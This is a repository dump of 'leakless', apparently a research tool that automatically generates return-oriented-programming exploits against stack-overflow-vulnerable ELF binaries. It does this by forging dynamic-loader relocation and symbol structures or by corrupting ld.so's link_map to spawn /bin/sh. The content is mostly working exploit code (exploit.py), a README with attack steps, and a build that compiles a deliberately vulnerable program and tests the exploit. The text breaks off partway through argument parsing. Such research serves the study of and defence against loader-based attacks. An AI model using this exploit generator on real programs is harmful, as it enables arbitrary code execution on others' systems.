Repository: ucsb-seclab/leakless Branch: master Commit: 94c01b4b67b8 Files: 11 Total size: 76.0 KB Directory structure: gitextract_1hr6vo3a/ ├── .gitignore ├── CMakeLists.txt ├── README.md ├── exploit.py ├── memory.py ├── plugins/ │ ├── CommonGadgetsExploit.py │ ├── RawDumperExploit.py │ └── __init__.py ├── rangeset.py ├── utils.py └── vuln.c ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ *.idb *.o *.pyc *.gdb_history ================================================ FILE: CMakeLists.txt ================================================ cmake_minimum_required(VERSION 2.6) project(leakless) set(VULN vuln.c) set(EXPLOIT exploit.py) # Compiler flags # ============== # Global flags # ------------ set(CMAKE_C_FLAGS "-fno-stack-protector -O2") set(CMAKE_SHARED_LIBRARY_LINK_C_FLAGS "") # Architectures and related options # --------------------------------- set(ARCHITECTURES "x86;x86-64" CACHE STRING "List of architectures to enable") if ("${CMAKE_C_COMPILER_ID}" STREQUAL "Clang") set(INTEL_FLAVOR "-mllvm --x86-asm-syntax=intel") elseif ("${CMAKE_C_COMPILER_ID}" STREQUAL "GNU") set(INTEL_FLAVOR "-masm=intel") endif() set(x86_FLAGS "${INTEL_FLAVOR} -m32") set(x86_OFFSET "112") set(x86-64_FLAGS "${INTEL_FLAVOR} -m64") set(x86-64_OFFSET "120") # Build types and related options # ------------------------------- set(BUILD_TYPES no_relro partial_relro full_relro) set(NO_RELRO_FLAGS "") set(PARTIAL_RELRO_FLAGS "-Wl,-z,relro") set(FULL_RELRO_FLAGS "-Wl,-z,relro,-z,now") # Testing # ======= enable_testing() set(TEST_TYPES craft-dl-structs ld-corrupt) set(TEST_FLAGS_craft-dl-structs "--method=craft-dl-structs") set(TEST_FLAGS_ld-corrupt "--method=ld-corrupt -l 1") # List of tests expected to fail # ------------------------------ set(EXPECTED_TO_FAIL test-craft-dl-structs-vuln-x86-full_relro test-craft-dl-structs-vuln-x86-64-full_relro) # Helper library # ============== # We create a helper library to avoid issues with RELRO libcs/loaders set(HELPER_C_FILE "${CMAKE_CURRENT_BINARY_DIR}/helper.c") file(WRITE "${HELPER_C_FILE}" "int return42() { return 42; }") foreach(ARCHITECTURE ${ARCHITECTURES}) set(TARGET_NAME "helper-${ARCHITECTURE}") add_library("${TARGET_NAME}" SHARED "${HELPER_C_FILE}") set_target_properties("${TARGET_NAME}" PROPERTIES COMPILE_FLAGS "${${ARCHITECTURE}_FLAGS}" LINK_FLAGS "${${ARCHITECTURE}_FLAGS}") endforeach(ARCHITECTURE) # Create targets # ============== add_custom_target(length) add_custom_target(json) add_custom_target(ropl) foreach(ARCHITECTURE ${ARCHITECTURES}) foreach(BUILD_TYPE ${BUILD_TYPES}) # Binaries # -------- set(TARGET_NAME "vuln-${ARCHITECTURE}-${BUILD_TYPE}") string(TOUPPER "${BUILD_TYPE}" TYPE_PREFIX) add_executable("${TARGET_NAME}" "${VULN}") target_link_libraries("${TARGET_NAME}" "helper-${ARCHITECTURE}") set_target_properties("${TARGET_NAME}" PROPERTIES COMPILE_FLAGS "${${ARCHITECTURE}_FLAGS} ${${TYPE_PREFIX}_FLAGS}" LINK_FLAGS "${${ARCHITECTURE}_FLAGS} ${${TYPE_PREFIX}_FLAGS}") # Tests # ----- foreach(TEST_TYPE ${TEST_TYPES}) set(TEST_NAME "test-${TEST_TYPE}-${TARGET_NAME}") set(TEST_FLAGS "${TEST_FLAGS_${TEST_TYPE}}") # Invoke the exploit set(EXPLOIT_INVOCATION "${CMAKE_SOURCE_DIR}/${EXPLOIT} ${TEST_FLAGS} --offset ${${ARCHITECTURE}_OFFSET} $") # Command to execute and check of correctness set(TEST_INVOCATION "(${EXPLOIT_INVOCATION}; echo '/bin/bash -c \"base64 -d <<< UGFzc2VkCg==\"') | $ | grep -E '^Passed$'") # If we expect failure of this test, negate the exit result list(FIND EXPECTED_TO_FAIL "${TEST_NAME}" EXPECTED_TO_FAIL_INDEX) if (NOT EXPECTED_TO_FAIL_INDEX EQUAL -1) set(TEST_INVOCATION "! (${TEST_INVOCATION})") endif() # Add the test add_test(NAME "${TEST_NAME}" COMMAND /bin/sh -c "${TEST_INVOCATION}") # Add the target to have the length set(TARGET_LEGTH_NAME "length-${TEST_TYPE}-${TARGET_NAME}") add_custom_target("${TARGET_LEGTH_NAME}" COMMAND /bin/sh -c "${EXPLOIT_INVOCATION} --size") add_dependencies(length "${TARGET_LEGTH_NAME}") add_custom_command(OUTPUT "${TEST_TYPE}-${TARGET_NAME}.json" COMMAND /bin/sh -c "${EXPLOIT_INVOCATION} -o json" > ${TEST_TYPE}-${TARGET_NAME}.json) add_custom_target("json-${TEST_TYPE}-${TARGET_NAME}" DEPENDS "${TEST_TYPE}-${TARGET_NAME}.json") add_dependencies(json "json-${TEST_TYPE}-${TARGET_NAME}") add_custom_command(OUTPUT "${TEST_TYPE}-${TARGET_NAME}.ropl" COMMAND /bin/sh -c "${EXPLOIT_INVOCATION} -o ropl" > ${TEST_TYPE}-${TARGET_NAME}.ropl) add_custom_target("ropl-${TEST_TYPE}-${TARGET_NAME}" DEPENDS "${TEST_TYPE}-${TARGET_NAME}.ropl") add_dependencies(ropl "ropl-${TEST_TYPE}-${TARGET_NAME}") endforeach(TEST_TYPE) endforeach(BUILD_TYPE) endforeach(ARCHITECTURE) ================================================ FILE: README.md ================================================ How to test =========== 1. Build vuln.c gcc -fno-stack-protector vuln.c -o /tmp/vuln -m32 -O2 2. Find the offset of the saved IP ruby19 "$METASPLOIT/tools/pattern_create.rb" 256 | /tmp/vuln dmesg | tail ruby19 "$METASPLOIT/tools/pattern_offset.rb" $SEGFAULT_IP 3. Launch the attack with the desired parameter (python ./exploit.py /tmp/vuln --offset $OFFSET; echo ls) | /tmp/vuln You can also just dump to a JSON file all the necessary information to perform the exploit: python ./exploit.py /tmp/vuln --json For debugging information, use the `--debug` parameter. For further information on the parameters use the `--help` parameter. The CMake build system will compile `vuln.c` for x86 and x86-64 with different protections enabled. There's also a CTest testsuite which has been tested using the `ld.gold` linker and GCC 4.8.4. Different toolchains might require minor adjustments. To launch it just run: mkdir leakless-build cd leakless-build cmake ../leakless make make test The build system has also the `length`, `json` and `ropl` targets which, respectively, produce the length of the generated exploit for each supported configuration and the JSON and ropl version of the exploit. make length make json make ropl Basic idea ========== char *buffer = .bss; char *new_stack = buffer + 1024; int *rubbish = new_stack + 4; strcpy(buffer, "execve"); *((int *) buffer) = 'exec'; *(((int *) buffer) + 1) = 've\0\0'; char *name = buffer; buffer += strlen(buffer) + 1; Elf32_Sym *symbol = (Elf32_Sym *) buffer; symbol->st_name = name - .dynstr; symbol->st_value = 0; symbol->st_info = 0; symbol->st_other = 0; symbol->st_shndx = 0; buffer += sizeof(*symbol); Elf32_Rel *reloc = (Elf32_Rel *) buffer; reloc->r_offset = rubbish++; reloc->r_info = (R_386_JUMP_SLOT | (symbol - .dynsym) / sizeof(symbol)); buffer += sizeof(reloc): pre_plt((reloc - .rel.plt) / sizeof(Elf32_Rel)); Helper classes ============== * `MemoryArea`: data structure representing a part of memory, with its start address, its size, a reference to what its relative to (e.g. the `MemoryArea` where we'll write the relocation structure will be relative to the `.rela.dyn` section). `MemoryArea` also takes care of computing the appropriate index (`MemoryArea.index`) relative to the specified part of memory. * `Buffer`: data structure holding information about a buffer where we want to write to things. Typically this will represent to `.bss`. Buffer also keeps track of what part of it has already been allocated (`Buffer.current` points to the next free location) and allows to allocate new `MemoryArea`s with the appropriate alignement. `Exploit`-derived classes ========================= * `Exploit`: the base class, contains all the architecture- and platform-independent parts of the exploit. It keeps the list of the gadgets, it takes care of collecting all the interesting information about the program from the ELF file and abstracting some utility and memory-related functions (e.g. `write_pointer` and `write_string`) which rely on the abstract `do_writemem` function (which is platform- and program-dependent). Finally, in `jump_to`, contains the core logic for setting up the necessary data structures in the buffers. * `CommonGadgetsExploit`: inherits from `Exploit` and introduces architecture-dependent parts, in particular gadgets and function-invocation logic. * `ExecveExploit`: very simple class implementing the logic to launch an `execve`, so write a `NULL` pointer, a `"/bin/sh\0"` and explicitly look for `execve`. Finally invoke it. * `RawDumperExploit`: exploit useful to just collect the information necessary to perform the attack without actually generating the ROP chain. `RawDumperExploit.jump_to` will return as first result an array of tuples `(address, what_to_write_there)`, which, for instance, are used to implement the `--json` parameter. ================================================ FILE: exploit.py ================================================ #!/usr/bin/env python import os import sys import glob import json import argparse import operator import struct import importlib import elftools.elf.structs from elftools.elf.elffile import ELFFile from elftools.elf.relocation import RelocationSection from elftools.elf.sections import SymbolTableSection from elftools.elf.constants import P_FLAGS, SH_FLAGS from elftools.elf.enums import ENUM_E_TYPE, ENUM_D_TAG from itertools import izip from operator import attrgetter from collections import namedtuple from rangeset import RangeSet import utils from utils import * from memory import * ElfN_Versym_size = 2 DF_BIND_NOW = 0x8 DF_1_NOW = 0x1 relocation_types = { "EM_386": 7, "EM_X86_64": 7, "EM_ARM": 22 } # `ExploitInfo` # * `prepare`: information on how to prepare the memory for the exploit # * `reloc_index`: the index to pass to `dl_resolve` # * `l_struct`: a *pointer* to a memory area containing a pointer to the `l` # structure used by the `dl_resolve` # * `dl_resolve`: a *pointer* to a memory area containing a pointer to the # `dl_resolve` function # * `plt0`: the address of the first entry of the .plt which will call # `_dl_runtime_resolve` ExploitInfo = namedtuple("ExploitInfo", ["prepare", "reloc_index", "l_struct", "dl_resolve", "plt0", "function_name_area"]) class Exploit: __slots__ = "arch", "little", "pointer_size", "dynstr", "dynsym", \ "relplt", "plt", "filler", "relocation_type", \ "dynamic", "versym", "gadgets", "fini" def __init__(self): self.gadgets = {} self.empty_exploit = lambda: "" self.badchars = [] def allocate_helpers(self, buffer): return "" def add_gadget(self, architecture, name, info, gadget): """Adds a gadget to the collection of gadgets for the specified architecture.""" if architecture not in self.gadgets: self.gadgets[architecture] = {} self.gadgets[architecture][name] = (info, gadget) def get_gadget(self, name): """Returns the gadget with the specified name for the current architecture""" return self.gadgets[self.arch][name] # TODO: split this, not everyone needs everything def config_from_elf(self, path): """Load all the necessary information about the program parsing the ELF headers. Furthermore, check some pre-requisites for the exploit to be successful.""" executable_file = open(path, "r") elf = ELFFile(executable_file) get_section = lambda name: first_or_none(filter(lambda section: section.name == name, elf.iter_sections())) get_section_address = lambda section: None if (get_section(section) is None) else get_section(section).header.sh_addr # Checks if elf.header.e_type == ENUM_E_TYPE["ET_EXEC"]: raise Exception("Only non-PIE executables are supported") # Binary type self.arch = elf.header.e_machine self.little = elf.little_endian self.pointer_size = elf.elfclass / 8 self.pointer_format = ("0x%." + str(self.pointer_size * 2) + "x") self.structs = elftools.elf.structs.ELFStructs(self.little, self.pointer_size * 8) # Useful sections self.sections = {section.name: (section.header.sh_addr, section.header.sh_addr + section.header.sh_size) for section in elf.iter_sections()} self.plt = get_section_address(".plt") self.got = get_section_address(".got") self.gotplt = get_section_address(".got.plt") # Dynamic section dynamic_section = get_section(".dynamic") self.writable_dynamic = dynamic_section.header.sh_flags & SH_FLAGS.SHF_WRITE self.dynamic = dynamic_section.header.sh_addr dynamic_entries = [self.structs.Elf_Dyn.parse(dynamic_entry) for dynamic_entry in chunks(dynamic_section.data(), self.structs.Elf_Dyn.sizeof())] # Dynamic symbols # TODO: we're relying on section names here symbol_table = elf.get_section_by_name(".dynsym") has_name = lambda name: lambda symbol: symbol.name == name attribute_or_default = lambda default, attribute, x: getattr(x, attribute) if x is not None else default memcpy_symbol = first_or_none(filter(has_name("memcpy"), symbol_table.iter_symbols())) self.memcpy_plt = 0 if memcpy_symbol is None else memcpy_symbol.entry.st_value # We try not to rely on section names get_dynamic = lambda name: first_or_none(map(lambda entry: entry.d_val, filter(lambda entry: entry.d_tag == name, dynamic_entries))) get_dynamic_index = lambda name: filter(lambda entry: entry[1].d_tag == name, enumerate(dynamic_entries))[0][0] self.dynstr = get_dynamic("DT_STRTAB") self.dynsym = get_dynamic("DT_SYMTAB") self.versym = get_dynamic("DT_VERSYM") self.verneed = get_dynamic("DT_VERNEED") self.relplt = get_dynamic("DT_JMPREL") self.addend = get_dynamic("DT_RELA") is not None self.dt_debug = self.dynamic + get_dynamic_index("DT_DEBUG") * self.structs.Elf_Dyn.sizeof() + self.pointer_size self.full_relro = (get_dynamic("DT_FLAGS") is not None) and \ ((get_dynamic("DT_FLAGS") & DF_BIND_NOW) != 0) self.full_relro = self.full_relro or ((get_dynamic("DT_FLAGS_1") is not None) and \ ((get_dynamic("DT_FLAGS_1") & DF_1_NOW) != 0)) # Choose between Elf_Rel and Elf_Rela depending on the architecture self.rel_struct = self.structs.Elf_Rela if self.addend else self.structs.Elf_Rel # Looks like 64-bit and 32-bit have different alignment for the call to _dl_fixup self.reloc_alignment = 1 if self.pointer_size == 4 else self.rel_struct.sizeof() self.reloc_index_multiplier = self.rel_struct.sizeof() if self.pointer_size == 4 else 1 # # Find candidate writeable areas # # Collect PT_LOAD segments (what gets mapped) loaded_segments = filter(lambda segment: segment.header.p_type == "PT_LOAD", elf.iter_segments()) # Collect the segments which are writeable writeable_segments = filter(lambda segment: segment.header.p_flags & P_FLAGS.PF_W, loaded_segments) # Get their memory ranges (start, end) writeable_ranges = RangeSet.mutual_union(*map(lambda segment: (segment.header.p_vaddr, segment.header.p_vaddr + segment.header.p_memsz), writeable_segments)) # List of sections we don't want to write to dont_overwrite_sections = filter_none([self.dynstr, self.dynsym, self.versym, self.relplt, self.dynamic, self.got, self.gotplt]) # Memory ranges of the sections we don't want to write to dont_overwrite_ranges = RangeSet.mutual_union(*[self.sections[self.section_from_address(start)] for start in dont_overwrite_sections]) # Handle RELRO segment, we don't want to write there relro_segment = first_or_none(filter(lambda segment: segment.header.p_type == "PT_GNU_RELRO", elf.iter_segments())) if relro_segment is not None: dont_overwrite_ranges = dont_overwrite_ranges | RangeSet(relro_segment.header.p_vaddr, relro_segment.header.p_vaddr + relro_segment.header.p_memsz) # Compute the set of candidate memory ranges self.writeable_ranges = writeable_ranges - dont_overwrite_ranges # Save the index of the DT_FINI entry fini = filter(lambda (i, entry): entry.d_tag == "DT_FINI", enumerate(dynamic_entries)) if len(fini) > 0: self.fini = self.dynamic + self.structs.Elf_Dyn.sizeof() * fini[0][0] # Gadgets if self.gadgets.has_key(self.arch): executable_segments = filter(lambda segment: segment.header.p_flags & P_FLAGS.PF_X, elf.iter_segments()) for name, (info, gadget) in self.gadgets[self.arch].iteritems(): locations = find_all_strings(executable_segments, hex_bytes(gadget)) locations = map(self.ptr2str, locations) location = first_or_none(filter(lambda address: not reduce(lambda accumulate, badchar: badchar in address or accumulate, self.badchars , False), locations)) if location is None: self.gadgets[self.arch][name] = None else: self.gadgets[self.arch][name] = (info, gadget, location) # Find all '\x00\x00' in non-writeable segments self.non_writeable_segments = filter(lambda segment: not (segment.header.p_flags & P_FLAGS.PF_W), loaded_segments) self.zero_or_one_addresses = find_all_strings(self.non_writeable_segments, "\x00\x00") + \ find_all_strings(self.non_writeable_segments, "\x01\x00" if self.little else "\x00\x01") self.filler = self.ptr2str(reduce(lambda x,y: (x << 32) | 0xdeadb00b, xrange(1 + (self.pointer_size % 4)), 0)) self.relocation_type = relocation_types[self.arch] # # Find the reloc pointing to the symbol whose name is the earliest in .dynstr # relplt_section = elf.get_section_by_name(self.section_from_address(self.relplt)) dynsym_section = elf.get_section_by_name(self.section_from_address(self.dynsym)) if not (isinstance(relplt_section, RelocationSection) and \ isinstance(dynsym_section, SymbolTableSection)): raise Exception("Unexpect type for dynamic sections: " + str(relplt_section) + " " + str(dynsym_section)) # Grab .got.plt relocs symbol indexes symbol_indexes = [reloc.entry.r_info_sym if reloc.entry.r_info_type == self.relocation_type else None for reloc in relplt_section.iter_relocations()] # Get offsets in .dynstr names_offsets = [dynsym_section.get_symbol(index).entry.st_name if index is not None else None for index in symbol_indexes] # Filter out unamed offsets names_offsets = [offset if offset > 0 else None for offset in names_offsets] # Get the minimum value self.min_reloc_index, self.min_string_offset = min(enumerate(names_offsets), key=operator.itemgetter(1)) self.min_symbol_index = symbol_indexes[self.min_reloc_index] log(self.dump()) def get_non_writeable_segment(self, address): for non_writeable_segment in self.non_writeable_segments: start = non_writeable_segment.header.p_vaddr end = start + non_writeable_segment.header.p_memsz if (start <= address) and (address < end): return non_writeable_segment return None def read_non_writeable(self, address, size): segment = self.get_non_writeable_segment(address) if segment is None: raise Exception("Not a non-writeable address: " + hex(address)) start = segment.header.p_vaddr end = start + segment.header.p_memsz return segment.data()[address - start:address - start + size] def section_from_address(self, address): for name, section in self.sections.iteritems(): start = section[0] end = section[1] # TODO: we're excluding mappings at 0 if (start > 0) and (start <= address) and ((address < end) or ((start > 0) and (end - start == 0))): return name raise Exception("Can't find a section for address " + hex(address)) def closest_section_from_address(self, address): sorted_sections = [0] + sorted([section[0] for section in self.sections.itervalues()]) + [(1 << 8 * self.pointer_size) - 1] for start, end in pairwise(sorted_sections): if (start <= address) and (address < end): return ("0" if start == 0 else self.section_from_address(start)) + " + " + hex(address - start) raise Exception("Can't find a section for address " + hex(address)) def dump(self): """Dump all the information held by this Exploit instance for debugging purposes.""" return "\n".join([slot + ": " + str(getattr(self, slot)) for slot in self.__slots__]) # Utility functions # ================= def ptr2str(self, integer): """Convert a pointer (in the form of an integer) to a byte string of its memory representation according the current architecture endianness.""" direction = "<" if self.little else ">" word_size = "Q" if self.pointer_size == 8 else "I" mask = (1 << self.pointer_size * 8) - 1 return struct.pack(direction + word_size, integer & mask) def str2ptr(self, string): """Convert a byte string representing a pointer to an integer.""" direction = "<" if self.little else ">" word_size = "Q" if self.pointer_size == 8 else "I" return struct.unpack(direction + word_size, string)[0] # Abstractions to write memory # ============================ def write_all(self, start, string): if (self.memcpy_plt) and (len(string) > self.pointer_size): return self.memcpy(start, string) result = self.empty_exploit() remaining = string while len(remaining) > 0: remaining, writer = self.do_writemem(self.ptr2str(start + len(string) - len(remaining)), remaining) result += writer return result def flush(self, buffer): result = self.empty_exploit() content_buffer = "" areas = filter(attrgetter("is_buffered"), buffer.areas.values()) last_start = last_end = areas[0].start for memory_area in areas: memory_area.is_buffered = False if last_end == memory_area.start: content_buffer += memory_area.content last_end += len(memory_area.content) else: result += self.write_all(last_start, content_buffer) content_buffer = memory_area.content last_start = last_end = memory_area.start result += self.write_all(last_start, content_buffer) return result def write_string(self, memory_area, string, buffered=True): """Write an input string in the specified memory area invoking an appropriate number of times the do_writemem function.""" string_len = len(string) if string_len == 0: return self.empty_exploit() elif string_len > memory_area.size: raise Exception("You're trying to write {} bytes in a MemoryArea {} bytes wide".format(string_len, memory_area.size)) memory_area.is_buffered = buffered memory_area.content = string if not buffered: return self.write_all(memory_area.start, string) else: return self.empty_exploit() def write_pointer(self, memory_area, pointer, buffered=True): """Write a pointer (an integer) to a memory area.""" return self.write_string(memory_area, self.ptr2str(pointer), buffered) def create_relocation(self, buffer, symbol_index, align_to=None): """Create an ElfN_Rel using a writable memory area as relocation target and referencing the requested symbol index.""" reloc = buffer.allocate(self.rel_struct.sizeof(), align_to, self.reloc_alignment, name="reloc") relocation_target = buffer.allocate(self.pointer_size, name="relocation_target") # Create the Elf_Rela? structure to the exploit function_reloc = self.rel_struct.parse("\0" * self.rel_struct.sizeof()) function_reloc.r_offset = relocation_target.start function_reloc.r_info_type = self.relocation_type function_reloc.r_info_sym = symbol_index if self.pointer_size * 8 == 32: function_reloc.r_info = function_reloc.r_info_type | (function_reloc.r_info_sym << 8) else: function_reloc.r_info = function_reloc.r_info_type | (function_reloc.r_info_sym << 32) prepare = self.write_string(reloc, self.rel_struct.build(function_reloc)) return prepare, reloc class CraftDlStructsExploit(Exploit): def jump_to(self, buffer, function_name_max_length): """Craft the necessary data structures (Elf_Rela?, Elf_Sym, version index) and strings to pass to the dynamic linker.""" # Part of the ROP exploit to write the data structures exploit = self.empty_exploit() # Allocate the buffers necessary for the data structure we're going to # create function_name_str = buffer.allocate(function_name_max_length, self.dynstr, 1, name="function_name_str") # TODO: move symbol as first thing in the buffer if self.versym: to_range = lambda address, size: (address, address + size) # We have three possible constraints (in order of preference): # 1. The version index has special value 0 (local) or 1 (global) # 2. The version index falls in a memory area we can write # 3. The version index points to ElfN_Verneed structure we can write constraints = [lambda address, versym: versym in self.zero_or_one_addresses, lambda address, versym: to_range(versym, ElfN_Versym_size) in buffer.ranges, lambda address, versym: (self.get_non_writeable_segment(versym) is not None) and \ (to_range(self.verneed + self.structs.Elf_Verneed.sizeof() * self.str2ptr(self.read_non_writeable(versym, ElfN_Versym_size)), self.structs.Elf_Verneed.sizeof()) in buffer.ranges)] wrap_versym = lambda func: lambda address, index: func(address, self.versym + ElfN_Versym_size * index) constraints = map(wrap_versym, constraints) else: constraints = [lambda x,y: True] errors = 0 for constraint in constraints: try: symbol = buffer.allocate(self.structs.Elf_Sym.sizeof(), self.dynsym, name="symbol", constraint=constraint) break except AllocateFailException: errors += 1 pass if self.versym: if errors > 2: # We failed raise Exception("Can't find a position for the Elf_Sym") versym_address = self.versym + ElfN_Versym_size * symbol.index if errors == 1: # We can write in ElfN_Versym versym_area = buffer.allocate(ElfN_Versym_size, align_to=self.versym, start=versym_address) exploit += self.write_string(versym_area, "\x00\x00") elif errors == 2: # We can write in ElfN_Verneed verneed_address = self.verneed + self.structs.Elf_Verneed.sizeof() * self.str2ptr(self.read_non_writeable(versym_address, ElfN_Versym_size)) verneed_area = buffer.allocate(self.structs.Elf_Verneed.sizeof(), align_to=self.verneed, start=verneed_address) verneed_struct = self.structs.Elf_Verneed.parse("\0" * self.structs.Elf_Verneed.sizeof()) verneed_struct.vn_version = 1; verneed_struct.vn_cnt = 0; verneed_struct.vn_file = 0; verneed_struct.vn_aux = 0; verneed_struct.vn_next = 0; exploit += self.write_string(verneed_area, self.structs.Elf_Verneed.build(verneed_struct)) # Append the creation of the Elf_Sym structure to the exploit function_symbol = self.structs.Elf_Sym.parse("\0" * self.structs.Elf_Sym.sizeof()) function_symbol.st_name = function_name_str.index function_symbol.st_info.bind = "STB_GLOBAL" function_symbol.st_info.type = "STT_FUNC" exploit += self.write_string(symbol, self.structs.Elf_Sym.build(function_symbol)) prepare_relocation, reloc = self.create_relocation(buffer, symbol.index, align_to=self.relplt) exploit += prepare_relocation return ExploitInfo(prepare=exploit, reloc_index=reloc.index, plt0=self.plt, l_struct=None, dl_resolve=None, function_name_area=function_name_str) class CorruptLdSoExploit(Exploit): def jump_to(self, buffer, function_name_max_length): dt_strtab_offset = ENUM_D_TAG["DT_STRTAB"] * self.pointer_size l_info_offset = 8 * self.pointer_size fake_dynstr_area = buffer.allocate(self.min_string_offset, name="fake_dynstr") function_name_area = buffer.allocate(function_name_max_length, fake_dynstr_area.start, 1, name="function_name") # TODO: instead of this support for "don't care" memory areas # Allocate the DT_STRTAB dynamic entry (possibly in the fake .dynstr itself, if it fits) if fake_dynstr_area.size >= self.structs.Elf_Dyn.sizeof(): dt_strtab_entry_area = fake_dynstr_area else: dt_strtab_entry_area = buffer.allocate(self.structs.Elf_Dyn.sizeof(), name="dt_strtab_entry") exploit = self.empty_exploit() # TODO: here is not really necessary to write DT_STRTAB, no one will check that dt_strtab_entry = self.structs.Elf_Dyn.parse("\x00" * self.structs.Elf_Dyn.sizeof()) dt_strtab_entry.d_tag = "DT_STRTAB" dt_strtab_entry.d_val = fake_dynstr_area.start exploit += self.write_string(dt_strtab_entry_area, self.structs.Elf_Dyn.build(dt_strtab_entry)) if not self.full_relro: # OK, the l_pointer is just a GOT[1] and dl_resolve is in GOT[2] l_pointer = self.gotplt + self.pointer_size * 1 dl_resolve_pointer = self.gotplt + self.pointer_size * 2 # We can also use the plt[0] entry plt0 = self.plt reloc_index = self.min_reloc_index * self.rel_struct.sizeof() else: # We can't use GOT[1], GOT[2] or plt[0], let's work around this # We reuse a part of the buffer multiple times exe_link_map_area = buffer.allocate(self.pointer_size, name="exe_link_map") first_lib_link_map_area = buffer.allocate(self.pointer_size, name="first_lib_link_map") dyn_gotplt_area = first_lib_link_map_area # Reuse gotplt_area = dyn_gotplt_area # Reuse dl_resolve_area = gotplt_area # Reuse # Prepare fake relocation prepare_relocation, fake_relocation_area = self.create_relocation(buffer, self.min_symbol_index) exploit += prepare_relocation # TODO: factorize this dt_jmprel_entry_area = buffer.allocate(self.structs.Elf_Dyn.sizeof(), name="fake_jmprel_entry") # TODO: here is not really necessary to write DT_JMPREL, no one will check that dt_jmprel_entry = self.structs.Elf_Dyn.parse("\x00" * self.structs.Elf_Dyn.sizeof()) dt_jmprel_entry.d_tag = "DT_JMPREL" dt_jmprel_entry.d_val = fake_relocation_area.start exploit += self.write_string(dt_jmprel_entry_area, self.structs.Elf_Dyn.build(dt_jmprel_entry)) # Let's navigate a bit through data structures # exe_link_map = *(*DT_DEBUG.d_val + offsetof(r_map)) # TODO: factorize out glibc's magic numbers r_map_offset = self.pointer_size # an int exploit += self.deref_with_offset_and_save(self.ptr2str(self.dt_debug), self.ptr2str(r_map_offset), self.ptr2str(exe_link_map_area.start)) # first_lib_link_map = *(*exe_link_map + offsetof(l_next)) l_next_offset = self.pointer_size * 3 # skip l_addr, l_name and l_ld exploit += self.deref_with_offset_and_save(self.ptr2str(exe_link_map_area.start), self.ptr2str(l_next_offset), self.ptr2str(first_lib_link_map_area.start)) # Repeat until we reach the desired library (check with `ldd`) for _ in xrange(1, self.library_index + 1): exploit += self.deref_with_offset_and_save(self.ptr2str(first_lib_link_map_area.start), self.ptr2str(l_next_offset), self.ptr2str(first_lib_link_map_area.start)) # dyn_gotplt = *(*first_lib_link_map + offsetof(l_info) + offsetof(DT_PLTGOT)) dt_pltgot_offset = ENUM_D_TAG["DT_PLTGOT"] * self.pointer_size exploit += self.deref_with_offset_and_save(self.ptr2str(first_lib_link_map_area.start), self.ptr2str(l_info_offset + dt_pltgot_offset), self.ptr2str(dyn_gotplt_area.start)) # gotplt = *(*dyn_gotplt + offsetof(d_val)) d_val_offset = self.pointer_size exploit += self.deref_with_offset_and_save(self.ptr2str(dyn_gotplt_area.start), self.ptr2str(d_val_offset), self.ptr2str(gotplt_area.start)) # dl_resolve = *(*gotplt + offsetof(dl_resolve_offset)) dl_resolve_offset = self.pointer_size * 2 # Take GOT[2] exploit += self.deref_with_offset_and_save(self.ptr2str(gotplt_area.start), self.ptr2str(dl_resolve_offset), self.ptr2str(dl_resolve_area.start)) # Make DT_JMPREL of the main executable point to our fake relocation # *(*exe_link_map + offsetof(l_info) + offsetof(DT_REL)) = fake_relocation dt_rel_offset = ENUM_D_TAG["DT_JMPREL"] * self.pointer_size exploit += self.write_with_offset(self.ptr2str(exe_link_map_area.start), self.ptr2str(l_info_offset + dt_rel_offset), self.ptr2str(dt_jmprel_entry_area.start)) l_pointer = exe_link_map_area.start dl_resolve_pointer = dl_resolve_area.start plt0 = None reloc_index = 0 # Make DT_STRTAB point to our fake DT_STRTAB structure # *(*l_pointer + offsetof(l_info) + offsetof(DT_STRTAB)) = dt_strtab_entry exploit += self.write_with_offset(self.ptr2str(l_pointer), self.ptr2str(l_info_offset + dt_strtab_offset), self.ptr2str(dt_strtab_entry_area.start)) return ExploitInfo(prepare=exploit, reloc_index=reloc_index, l_struct=l_pointer, dl_resolve=dl_resolve_pointer, plt0=plt0, function_name_area=function_name_area) def launch(exploit, program): """Launch an execve("/bin/sh/", &null, &null); exploit.""" buffer = Buffer(exploit, exploit.writeable_ranges) binsh_str = program + "\0" pointer_to_null = buffer.allocate(exploit.pointer_size, name="pointer_to_null") binsh = buffer.allocate(len(binsh_str), name="binsh") result = "" result += exploit.allocate_helpers(buffer) # Pointer to NULL result += exploit.write_pointer(pointer_to_null, 0) # /bin/sh result += exploit.write_string(binsh, binsh_str) # TODO: fixme exploit_info = exploit.jump_to(buffer, len("execve\0")) result += exploit.write_string(exploit_info.function_name_area, "execve\0") result += exploit_info.prepare result = exploit.flush(buffer) + result result += invoke(exploit, exploit_info, [binsh.pointer, pointer_to_null.pointer, pointer_to_null.pointer]) log(buffer.dump()) return result def invoke(exploit, exploit_info, parameters): result = "" if exploit_info.plt0 is not None: # Invocation of the dynamic linker resolver (plt[0]) with the # appropriate relocation index launch = exploit.ptr2str(exploit_info.plt0) + exploit.ptr2str(exploit_info.reloc_index) prepare, nope, stack_frame = exploit.call(launch, parameters) result += prepare + stack_frame elif (exploit_info.dl_resolve is not None) and \ (exploit_info.l_struct is not None): # TODO: this is outdated # Layout: # ©_to_stack # offset = C - A # destination # A: ©_to_stack # offset = B - B # destination # B: &dl_resolve # C: &l # reloc_index function_call, next_gadget_offset, stack_frame = exploit.call(exploit.filler, parameters) copy_dl_resolve = exploit.copy_to_stack(exploit.ptr2str(exploit_info.dl_resolve), exploit.ptr2str(next_gadget_offset + 0 * exploit.pointer_size)) result += exploit.copy_to_stack(exploit.ptr2str(exploit_info.l_struct), exploit.ptr2str(len(copy_dl_resolve) + len(function_call))) + \ copy_dl_resolve + \ function_call + \ exploit.filler + \ exploit.ptr2str(exploit_info.reloc_index) + \ stack_frame else: raise Exception("Don't know how to launch the exploit") return result exploit_method = { "ld-corrupt": CorruptLdSoExploit, "craft-dl-structs": CraftDlStructsExploit } def main(): # Handle arguments parser = argparse.ArgumentParser(description='Leakless') parser.add_argument('executable', metavar='EXECUTABLE', help='Path to the executable to exploit.', nargs=1) parser.add_argument("-o", '--output', metavar="TYPE", default="rop-chain", help='"rop-chain" will generate a ROP chain to exploit a stack based buffer overflow. "json" will output information about what needs to be written and where, along with the address of _dl_resolve_address and the index to pass it. Default is "rop-chain".') parser.add_argument("-m", "--method", metavar="METHOD", default="craft-dl-structs", help='"craft-dl-structs" will try to create all the structures necessary to invoke the dynamic loader in a writable memory address.\n"ld-corrupt" changes the pointer to DT_STRTAB ElfN_Dyn entry in an internal data structure of the loader and fakes a .dynstr table. Default is "craft-dl-structs".') 